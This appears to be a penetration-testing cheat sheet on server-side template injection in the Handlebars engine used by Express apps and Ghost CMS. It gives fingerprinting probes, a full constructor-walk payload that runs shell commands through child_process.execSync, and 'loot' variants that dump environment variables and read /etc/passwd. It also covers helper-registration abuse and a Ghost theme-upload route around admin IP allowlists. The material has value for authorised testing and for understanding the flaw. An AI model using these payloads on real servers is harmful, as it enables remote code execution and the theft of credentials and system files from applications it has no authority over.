Handlebars (Node - Express, Ghost)
Handlebars is logic-less by design - no arithmetic, no method calls in templates. RCE requires escaping through helpers, prototype pollution, or the underlying compile mechanism.
# Confirm Handlebars (NOT Jinja2/Twig - different arithmetic behavior){{7*7}} # → 7*7 literally (Handlebars doesn't do arithmetic){{#each (lookup this "constructor")}} # error or unusual output if Handlebars
# RCE - constructor walk (Handlebars <= 4.0.13){{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('id');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}{{/with}}Success indicator: uid= line in output. The payload form is uglier than other engines because Handlebars deliberately doesn’t expose method-call syntax.
Where this engine lives
Section titled “Where this engine lives”- Express.js - Handlebars (via
hbsorexpress-handlebarspackage) is one of Express’s main view engines. - Ghost CMS - Themes are Handlebars. SSTI in admin theme upload features is the classic path.
- Slack message templates - some legacy Slack-bot frameworks use Handlebars for outbound message formatting.
- AWS Lambda - Handlebars-rendered email templates in SES configurations.
- Custom Node apps - anything
require('handlebars').compile(user_input).
Step 1 - Confirm and orient
Section titled “Step 1 - Confirm and orient”Handlebars’s logic-less design means arithmetic probes don’t work the way they do elsewhere:
{{7*7}} # → 7*7 literally (NOT 49){{#if true}}YES{{/if}} # → YES confirms control flow works{{#each [1,2,3]}}{{this}}{{/each}} # → 123 if Handlebars{{#if}} and {{#each}} are the diagnostic - {{7*7}} failing to evaluate is a fingerprint for Handlebars, not evidence the engine is absent.
If {{#if true}}YES{{/if}} returns YES, you have Handlebars and can probe escape paths.
Step 2 - Constructor walk (Handlebars ≤ 4.0.13)
Section titled “Step 2 - Constructor walk (Handlebars ≤ 4.0.13)”The original Handlebars SSTI from 2015 used the {{#with}} block helper to walk JavaScript prototype chains. Patched in 4.0.14 (Aug 2017) and again in 4.7.7 for related issues, but unpatched deployments are still common - especially in legacy enterprise apps and embedded Node services.
Full payload form in the TL;DR above. Compact version (when whitespace doesn’t matter):
{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('child_process').execSync('id');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}Replace 'id' with any command. The payload returns the stdout of execSync directly into the template output.
Step 3 - lookup helper abuse
Section titled “Step 3 - lookup helper abuse”Handlebars’s built-in lookup helper accesses properties dynamically. Combined with constructor access, it reaches Function:
{{lookup (lookup this "constructor") "constructor"}}This reaches the Function constructor - calling Function("body")() is equivalent to eval. The exact escape requires combining lookup with #with (as above) since Handlebars doesn’t have direct function-call syntax in expressions.
Step 4 - Helper-registration abuse
Section titled “Step 4 - Helper-registration abuse”If the application allows custom helper registration through user input (rare but devastating when present), the helper itself executes Node.js:
// Vulnerable pattern in app codeHandlebars.registerHelper(userInput, function() { return eval(userBody);});The Handlebars-side payload is just the helper name in a normal expression - the application’s evaluation of the helper body is where the bug lives.
Step 5 - Loot
Section titled “Step 5 - Loot”Handlebars doesn’t expose application config directly. Loot comes through the RCE path:
// After RCE via constructor walk, the payload body can be:return JSON.stringify(process.env); // env varsreturn require('fs').readFileSync('/etc/passwd','utf8'); // file readreturn Object.keys(global); // global Node namespacereturn require('child_process').execSync('id').toString(); // command outputEmbed any of those in the "return ..." slot of the constructor-walk payload.
Step 6 - Ghost CMS specifics
Section titled “Step 6 - Ghost CMS specifics”Ghost themes are Handlebars .hbs files. SSTI in Ghost typically requires admin access to upload a malicious theme - at which point you also have access to the admin API directly, so SSTI is somewhat redundant.
Where Ghost SSTI is operationally useful: bypassing IP allowlists on admin endpoints. If you reach the theme upload but can’t make admin API calls, a malicious .hbs file with the constructor-walk payload gives you Node-side command execution that the admin API alone wouldn’t.
Filter-aware variants
Section titled “Filter-aware variants”# Constructor access via dot vs bracket{{lookup this "__proto__"}} # walk prototype chain
# Whitespace insertion (Handlebars is whitespace-tolerant inside helpers){{#with "s" as |string|}} # extra spaces surviveMost Handlebars SSTI mitigations focus on patching the constructor-walk path. Filter-based mitigations are less common because Handlebars’s logic-less design already restricts most things.
Detection-only payloads
Section titled “Detection-only payloads”{{#if true}}YES{{/if}} # confirms Handlebars (returns YES){{#each [1,2,3]}}{{this}}{{/each}} # confirms Handlebars (returns 123){{lookup this "constructor"}} # returns function repr if constructor walk reachable{{#with "s" as |x|}}{{x.length}}{{/with}} # returns 1 - proves `as |x|` syntax works{{#with "s" as |x|}}{{x.length}}{{/with}} returning 1 is the cleanest indicator that the constructor-walk path will likely work - that syntax was added in Handlebars 3.x and is required for the escape.
- Handlebars 4.7.7+ patches the known constructor-walk paths. Unpatched 4.0.x-4.6.x and all 3.x versions are vulnerable.
noEscape: trueis a Handlebars option that disables HTML escaping. It doesn’t enable RCE on its own but combined with reflective sinks it creates XSS in addition to SSTI.- Strict mode (
strict: true) makes references to missing variables throw instead of returning empty. This breaks some payload variants but not the constructor walk. - Mustache vs Handlebars - Mustache is the spec Handlebars extends. Pure Mustache (e.g.
mustache.js) is even more restrictive and doesn’t have the#withsyntax - Mustache-only sinks are usually safe from this attack.